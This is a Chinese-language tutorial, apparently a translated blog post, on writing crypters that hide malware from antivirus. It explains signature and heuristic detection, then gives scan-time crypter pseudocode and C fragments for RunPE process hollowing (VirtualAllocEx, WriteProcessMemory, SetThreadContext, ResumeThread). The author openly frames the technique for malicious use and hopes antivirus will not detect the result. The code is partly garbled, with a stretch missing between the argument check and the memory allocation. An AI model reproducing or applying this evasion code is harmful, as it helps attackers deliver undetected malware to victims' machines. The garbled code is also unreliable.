我一直认为,在黑客世界里,加密技术是一种很神秘的艺术,是一种很隐晦的东西,我们可以查找资料来进行研究。当然,它在黑客世界中已经变得非常普遍,尤其是在2013年和2014年推出了Veil-Evasion和shellter工具。在这篇文章中,我将详细介绍加密工具的类型以及它们在底层的工作原理,然后展示低级代码层面上一些鲜为人知的技术。在阅读完这篇文章后,我希望大家最终能对这些玩意儿的工作原理以及它们在计算机世界中的地位和作用有一定程度的了解。
涉及知识点实操-RC4加密实验
稍微声明一下:有些材料可能不适合初学者,因为它们需要相当多的Windows底层的知识。包括以下很多技术。
掌握 C/C++
熟悉WinAPI 和对应的文档
熟悉基础的加密知识
熟悉PE文件的结构
熟悉 Windows 虚拟内存
熟悉进程和线程
密码学的两个方面
当我们谈起对于密码学的印象时,我们经常会想到 "这是一种处理信息的手段,防止信息被泄露出去"。我们大多数人都把它看成是一种防御机制,其应用的目的在于确保信息的安全,阻止恶意的攻击。当然,我们很清楚这一点,因为它被发明出来的唯一目的就是保护数据,然而,正如我们很快就会看到的那样,密码学的功能已经远远不止这些。
如果我们使用传统的密码学来进行恶意攻击,即设计恶意软件,利用密码学提供的优势。这些类型的恶意软件在现代已经非常普遍,包括勒索软件和非对称后门等,它们主要涉及公钥密码学。
反病毒机制
为了能够设计出绕过杀毒软件的方式,我们必须首先要明白杀毒软件的杀毒方式。我将简单介绍一下杀毒软件检测应用程序采用的两种主要方法。
基于签名的检测
顾名思义,基于签名的检测是一种将应用程序的签名与相应的已知恶意软件的数据库进行交叉参考匹配的技术。这是预防和遏制之前出现过的恶意软件的有效措施。
基于启发式检测
虽然基于签名的检测可以防止大多数以前已知的恶意软件,但它也有缺点,因为恶意软件作者可以针对这种方法添加保护措施,如使用多态和变形代码等。基于启发式的检测会监控应用程序的行为和特征,并将其与已知的恶意行为进行匹配。请注意,只有在应用程序正在运行的情况下才会进行这种检测。
当然,杀毒软件要比这个高级很多。由于这已经超出了文章讨论的范围,也超出了我的理解范围,所以这里不会涉及这些信息。
加密技术简介
加密器是被设计用来保护文件内部信息的软件,并且在执行后,用解密程序提取后能够完整地提供信息。请注意,虽然加密器可以被用于恶意目的,但它也主要用于混淆数据,防止对软件逆向工程。在本文中,我们将重点讨论恶意使用的情况。那么,这是如何工作的呢?让我们先来了解密码器的各部分,看一下它们的作用。
加密器负责对目标对象进行加密。
+-------------+ +-----------+ +-------------------+ +--------+
| Your file | -> | Crypter | => | Encrypted file | + | Stub |
+-------------+ +-----------+ +-------------------+ +--------+
+------------------+ +--------+ +---------------+
| Encrypted file | + | Stub | = Execution => | Original File |
+------------------+ +--------+ +---------------+
扫描时加密器
这些类型的加密器由于能够加密磁盘上的数据而被称为扫描时加密器,杀毒软件可以对文件进行扫描,例如基于签名的检测。在这一阶段,只要应用的混淆技术是足够强大的,杀毒软件将永远无法检测到任何恶意活动。
运行时加密器这些加密器将加密技术提升到了一个新的水平,能够在内存中运行时根据需要对数据进行加密。通过这样做,能够使恶意软件在杀毒软件作出反应之前加载和执行。在这个阶段,一个应用程序可以快速地运行它的有效载荷并达到它的目标。但是恶意软件完全有可能在执行阶段触发杀毒软件的基于启发式的检测策略,所以恶意软件作者应该小心。
现在我们已经介绍了高层次的内容,那么我们就来看看这两种类型的实例。
编写扫描时间加密器
扫描时加密器是两者中比较简单的,因为它不需要虚拟内存和进程/线程的知识。本质上,stub会对文件进行处理,把它放到磁盘上的某个地方,然后执行它。下面记录了一个扫描时加密器的设计。
注意:为了简洁和可读性,内容将不包含错误检查。
加密器和stub伪代码
1.检查是否有命令行参数
+-> 2. 如果有命令行参数,则作为加密器对文件进行加密处理
| 3. 打开目标文件
| 4. 读取文件内容
| 5. 对文件内容进行加密
| 6. 创建一个新文件
| 7. 将加密后的文件写入新文件
| 8. 結束
|
+-> 2. 如果没有命令行参数,则作为stub
3. 打开加密文件
4. 读取文件内容
5. 解密文件内容
6. 创建一个临时文件
7. 将解密后的内容写入临时文件
8. 执行文件
9. 完成
这个设计方案在同一个可执行文件中同时实现了加密器和stub,我们可以这样做,是因为这两个操作非常相似。下面用代码来介绍一下设计方案。
首先,我们需要定义main和两个条件,这两个条件定义了是执行加密器还是stub。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
由于被暂停的进程在其虚拟内存空间内有自己的内容,我们需要从内存中对它进行解映射,然后分配我们自己的内容,这样我们就有访问权限来加载我们的应用程序的映像。我们将通过WriteProcessMemory函数来实现。首先,我们需要像Windows加载器一样,先写头文件,然后分别写每个部分。这一部分需要对PE文件结构有一个全面的了解。
VOID RunPE(VOID) {
...
// write header
WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, Shellcode, pinh->OptionalHeader.SizeOfHeaders, NULL);
// write each p
int i;
for (i = 0; i FileHeader.NumberOfSections; i++) {
// calculate and get ith p
PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)((DWORD)Shellcode + pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i);
// write p data
WriteProcessMemory(pi.hProcess, (LPVOID)(lpBaseAddress + pish->VirtualAddress), (LPVOID)((DWORD)Shellcode + pish->PointerToRawData), pish->SizeOfRawData, NULL);
}
}
现在一切就绪,我们只需修改上下文的切入点地址,然后恢复暂停的线程。
VOID RunPE(VOID) {
...
// set appropriate address of entry point
ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
// resume and execute our application
ResumeThread(pi.hThread);
}
现在,应用程序已经开始在内存中运行,希望杀毒软件不会检测到它。